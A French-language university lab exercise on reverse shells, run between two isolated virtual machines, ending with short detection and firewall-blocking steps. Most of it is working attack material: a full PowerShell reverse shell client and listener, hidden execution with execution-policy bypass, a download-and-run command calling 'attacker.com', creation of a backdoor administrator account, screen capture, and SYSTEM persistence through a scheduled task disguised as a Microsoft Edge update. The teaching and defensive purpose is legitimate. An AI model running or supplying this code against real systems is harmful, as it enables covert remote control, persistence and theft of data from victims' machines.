Aller au contenu principal

Lab 3.2: Reverse Shell et Contrôle à Distance

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre le concept de reverse shell
  • Établir une connexion reverse shell entre deux machines
  • Exécuter des commandes à distance
  • Transférer des fichiers entre machines
  • Identifier et bloquer les reverse shells
  • Comprendre comment les malwares communiquent avec leur serveur C&C

Durée Estimée​

30 minutes

Prérequis​

  • 2 VMs Windows (ou 1 Windows + 1 Kali)
  • Réseau interne VirtualBox configuré
  • PowerShell

Contexte Professionnel​

Les reverse shells sont utilisés par:

  • Pentesters pour tester la sécurité réseau
  • Administrateurs pour support à distance
  • Malwares pour contrôle à distance (RAT)
  • APT pour maintenir accès long terme

⚠️ AVERTISSEMENT ÉTHIQUE ET LÉGAL​

AUTORISÉ: Sur vos VMs de test uniquement, réseau isolé
INTERDIT: Sur systèmes non autorisés, accès non autorisé
CONSÉQUENCES: Crime grave - Prison et amendes massives

Partie 1: Configuration du Lab​

Étape 1.1: Architecture​

VM1: Attaquant
IP: 192.168.100.10
Port: 4444 (écoute)

VM2: Victime  
IP: 192.168.100.20
Connexion vers VM1

Étape 1.2: Configuration Réseau​

Sur VM1 et VM2:

Paramètres → Réseau → Réseau interne "LabNet"

PowerShell - Configuration IP:

# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24

# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24

Test:

ping 192.168.100.20

Partie 2: Méthode PowerShell (Natif)​

Étape 2.1: VM1 - Listener​

Sur VM1 (Attaquant), sauvegardez listener.ps1:

Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "Ecoute sur port 4444..." -ForegroundColor Yellow

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()

$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()

Write-Host "CONNECTION RECUE!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""

[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    
    try {
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
    } catch {
        $sendback = "Error: $_`n"
    }
    
    $sendback2  = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}

$client.Close()
$listener.Stop()
Write-Host "Connexion fermee" -ForegroundColor Red

Exécutez:

powershell -ExecutionPolicy Bypass -File listener.ps1

Attendez connexion...

Étape 2.2: VM2 - Client (Victime)​

Sur VM2, sauvegardez reverse.ps1:

$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    
    try {
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
    } catch {
        $sendback = "Error: $_`n"
    }
    
    $sendback2  = $sendback
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}

$client.Close()

Exécutez:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

Étape 2.3: CONNEXION ÉTABLIE!​

Sur VM1, vous voyez maintenant:

=== REVERSE SHELL LISTENER ===
Ecoute sur port 4444...
CONNECTION RECUE!
IP: 192.168.100.20:54321

PS C:\Users\Attaquant>

Tapez des commandes:

whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo

BOOM! Contrôle total de VM2 depuis VM1!

Questions:

  1. La connexion s'est-elle établie?
  2. Pouvez-vous exécuter des commandes PowerShell?
  3. Combien de temps a pris l'établissement?

Partie 3: Actions Avancées​

Étape 3.1: Transfert de Fichiers​

Télécharger un fichier de la victime:

# Sur VM1 (depuis le shell)
Get-Content C:\Users\Victime\Desktop\secret.txt

Créer un fichier sur la victime:

"Vous avez été compromis!" | Out-File C:\Users\Public\pwned.txt

Télécharger et exécuter un script:

Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1

Étape 3.2: Créer Backdoor User​

Depuis le shell sur VM2:

net user backdoor P@ssw0rd123! /add
net localgroup Administrateurs backdoor /add

Vous venez de créer un compte admin permanent!

Étape 3.3: Screenshot à Distance​

Capturer l'écran de la victime:

Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")

Résultat: Screenshot sauvegardé!

Questions: 4. Avez-vous réussi à créer un compte utilisateur? 5. Le screenshot fonctionne-t-il?

Partie 4: Persistence​

Étape 4.1: Tâche Planifiée Automatique​

Sur VM2, créez persistence:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
    -Action $action -Trigger $trigger -Principal $principal

Testez:

  1. Redémarrez VM2
  2. VM1 lance listener
  3. Connexion automatique!

Questions: 6. La persistence fonctionne-t-elle après reboot? 7. La tâche est-elle visible pour un utilisateur normal?

Partie 5: Détection et Défense​

Étape 5.1: Détecter Connexions Actives​

Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} | 
    Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
        Name="ProcessName"
        Expression={(Get-Process -Id $_.OwningProcess).Name}
    } | Format-Table

Suspect: powershell.exe avec connexion externe!

Étape 5.2: Bloquer avec Pare-feu​

New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
    -Direction Outbound `
    -Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
    -Action Block

Étape 5.3: Supprimer Persistence​

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force

Questions: 8. Avez-vous détecté le reverse shell? 9. Le blocage pare-feu fonctionne-t-il?

Livrables​

  1. Document technique (3-4 pages):

    • Réponses aux 9 questions
    • Schéma architecture réseau
    • Captures d'écran du shell actif

  2. Analyse de sécurité (2 pages):

    • Détection en entreprise
    • Mesures de prévention

Commandes Référence​

# Listener (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1

# Client (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

# Détection
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell

# Blocage
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block

Conclusion​

Leçons clés:

  1. Reverse shell = Contrôle total à distance
  2. Contourne pare-feu facilement
  3. PowerShell = Très puissant
  4. Persistence = Accès permanent
  5. Détection possible avec monitoring réseau

Message: Monitoring réseau sortant essentiel en entreprise!

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 3